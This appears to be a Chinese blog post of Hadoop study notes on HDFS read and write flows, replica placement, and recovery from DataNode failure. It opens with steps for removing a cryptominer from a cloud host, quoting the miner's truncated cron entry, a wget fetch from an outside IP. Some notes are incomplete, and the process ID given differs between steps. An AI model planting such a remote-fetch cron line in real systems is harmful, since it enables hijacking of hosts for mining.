hadoop 文件存放策略_hadoop实战4--(hdfs读流程,hdfs写流程,副本放置策略)

hadoop实战4--(hdfs读流程,hdfs写流程,副本放置策略)

su - hadoop

jps

cd app/hadoop-2.6.0-cdh5.7.0

bin/hdfs dfs  -ls

一、本机被挖矿程序入侵处理?

1.top查看占用的进程

2. ps -ef | grep  7509  #查看端口对应的脚本

3.查看是否有定时任务,并编辑查看内容

可以看到定时任务中的内容,将其注释掉

#wget -q -o http://46.249.38.186.....

4.善后处理

因为是云主机,开放了8088端口,故容易别侵入,因为程序使用了wget程序,故我们把云主机上的wget程序卸载掉,防止再次发生。

yum  remove wget

5. 杀掉端口

kill  -9  7095

二、dfs写流程:

1 .例如执行命令hdfs dfs -put  LICENSE.TXT  /

对我们操作者而言是无感知的。并不知道上传到哪个节点。

2.在执行命令的瞬间,调用了dfs命令,dfs根据hdfs 帮助命令可以看到,是运行了一个hadoop所支持的操作文件系统的命令。

图解说明:

写流程对于我们操作者而言,是无感知的

1.Client调用FileSystem.create(filePath)方法,

去与NN进行【RPC】通信,check该路径的文件是否存在

以及有没有权限创建该文件。 假如OK,就创建一个新文件,

但是不关联任何的block,nn根据上传的文件大小且块大小且副本数,

计算多少块,以及块存放的dn,最终将这些信息返回给客户端

则为【FSDataOutputStream】。

2.Client调用FSDataOutputStream.write方法,将第一个块的

第一个副本写到第一个DN,写完写第二个副本,写完写第三个副本;

当第三个副本写完,返回给ack packet给第二个副本的DN,然后第二个DN返回ack packet给第一个DN;

第一个DN返回ack packet给FSDataOutputStream对象,标识第一个块,3副本写完!

然后依次写剩余的块!

(对操作者来说是透明的)

3.当向文件写入数据完成后,Client调用FSDataOutputStream.close()方法。关闭输出流,flush换成区的数据包。

4.再调用FileSystem.complete(),通知NN节点写入成功。

思考1:

当一个文件有三个副本,三个节点,某刻损坏一个节点,此时文件还能写么?

答:不能。副本数=节点数,故我们在部署的时候:副本数据

总结: 存活的DN满足我们的副本数 就能写

类比只有一个节点的时候,该节点挂掉,是不能写的。

实验: 类同当只有一个节点的时候,该节点挂掉,还可以写么?

1.jps

2.kill -9  datanode进程

3. hdfs dfs - put  LICENSE.txt  /ruozedata

结论:是不能写的

思考2:

一个文件有三个备份,放在三个节点 ,此时损坏一个几点,该文件是否还能读?

答:是可以读的,写不是不能写的

此时该怎么办?

1.手动修复

hdfs debug recoverlease  / a.txt 手工恢复这些坏块(依据其他副本来修复)

2.自动修复

配置两个参数

dfs.datanode.

实验:

模拟块损坏:

1.可以删除目录下的块(mv 到其他位置。模拟损坏)

2.hdfs fsck /  #检测块

3.修复块

三、hdfs读流程

图解说明:

FSDataIutputStream

1.Client通过FileSystem.open(filePath),

去与NN进行【RPC】通信,返回该文件的部分

或全部的block列表,也就是返回FSDataInputStream对象。

2.Client调用【FSDataInputStream】对象的read()方法,

a. 去与第一个块的最近的DN进行read,读取完后,会check,

假如success,会关闭与当前DN通信。假如fail 会记录失败的DN+block信息,下次就不会读取。

那么会去该块的第二个DN的地址读取。

b.然后去第二个块的最近的DN上读取,会check,success,会关闭与当前DN通信。

c.假如当前block列表全部读取完成,文件还没结束,那么FileSystem会从NN获取下一批的block列表。

(对于操作者,是透明的,感觉就是连续的数据流)

3.Client调用FSDataInputStream.close() 关闭输入流

四、副本放置策略:

思考:为何一个机柜放5个服务器?

答:机柜总电流大小/每个服务器电流大小=服务器个数

总结:client橘黄色部分是命令行,提交应该响应速度快,故第一个副本放置在“本地”,其他副本放置在别的机柜。2,3个副本不应该放置在同一服务器中, 集群环境随机放置副本。

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值